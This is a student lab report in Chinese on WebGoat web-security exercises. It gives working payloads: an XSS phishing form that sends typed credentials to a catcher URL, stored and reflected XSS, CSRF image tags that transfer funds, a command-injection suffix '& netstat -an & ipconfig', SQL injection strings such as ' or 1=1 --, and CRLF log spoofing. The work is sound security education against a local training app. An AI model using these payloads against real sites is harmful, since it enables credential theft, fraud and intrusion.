1. 程式人生 > >2017-2018-2 20155230《網絡對抗技術》實驗9:Web安全基礎

2017-2018-2 20155230《網絡對抗技術》實驗9:Web安全基礎

comm 展示 在服務器 phi fig 人在 attack 添加 sim

實踐過程記錄

  • 輸入java -jar webgoat-container-7.1-exec.jar

  • 在瀏覽器輸入localhost:8080/WebGoat,進入WebGoat開始實驗

目錄

  • 1.Phishing with XSS (網路釣魚)

  • 2.Stored XSS Attacks

  • 3.Reflected XSS Attacks

  • 4.Cross Site Request Forgery(CSRF)

  • 5.CSRF Prompt By-Pass

  • 6.Command Injection

  • 7.Numeric SQL Injection

  • 8.Log Spoofing

  • 9.String SQL Injection

  • 10.LAB:SQL Injection(Stage 1:String SQL Injection)

1.Phishing with XSS (網路釣魚)

  • 在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,完整的XSS攻擊代碼如下:

    </form>
    <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單

  • 輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲並反饋給你

2.Stored XSS Attacks

  • 創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,輸入標題,然後在message中輸入一串代碼,比如

    <script>alert("20155233 attack succeed!");</script>
  • 提交後,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功

3.Reflected XSS Attacks

  • 當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看

  • 這時如果我們將帶有攻擊性的URL作為輸入源,例如依舊輸入,就會彈出對話框

  • 存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板

  • 反射型XSS攻擊是非持久化的,應用的場景比如欺騙用戶自己去點擊鏈接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的

4.Cross Site Request Forgery(CSRF)

  • 寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,通過圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

  • 我們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

5.CSRF Prompt By-Pass

  • 內容和前者相似,只不過這次需要確認轉賬,首先編輯內容

    <img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=500" width="1" height="1">
  • 在瀏覽器中輸入URL

    localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
  • 點擊CONFIRM按鈕,再在瀏覽器中輸入URL

    http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM,成功轉走了5000元:

6.Command Injection

  • 點擊右上角小蟲對源碼進行修改,例如在BackDoors.help旁邊加上"& netstat -an & ipconfig"

  • 之後在下拉菜單中能看到我們修改後的值

  • 選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況:

7.Numeric SQL Injection

  • 通過註入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到我們的目的,利用firebug,在任意一個值比如101旁邊加上or 1=1:

  • 選中Columbia,點Go,可以看到所有天氣數據:

8.Log Spoofing

  • 我們輸入的用戶名會被追加到日誌文件中,所以我們可以使用障眼法來使用戶名為admin的用戶在日誌中顯示“成功登錄”,在User Name文本框中輸入20155233%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:

9.String SQL Injection

構造SQL註入字符串,在文本框中輸入‘ or 1=1 --:

點擊GO,可以查看到所以信息:


10.LAB:SQL Injection(Stage 1:String SQL Injection)

查看輸入框最大長度並修改長度:

以用戶John登錄,在密碼欄中輸入‘ or 1=1 --進行SQL註入:

實驗後回答問題

SQL註入攻擊原理,如何防禦

XSS攻擊的原理,如何防禦

CSRF攻擊原理,如何防禦

實驗總結與體會

2017-2018-2 20155230《網絡對抗技術》實驗9:Web安全基礎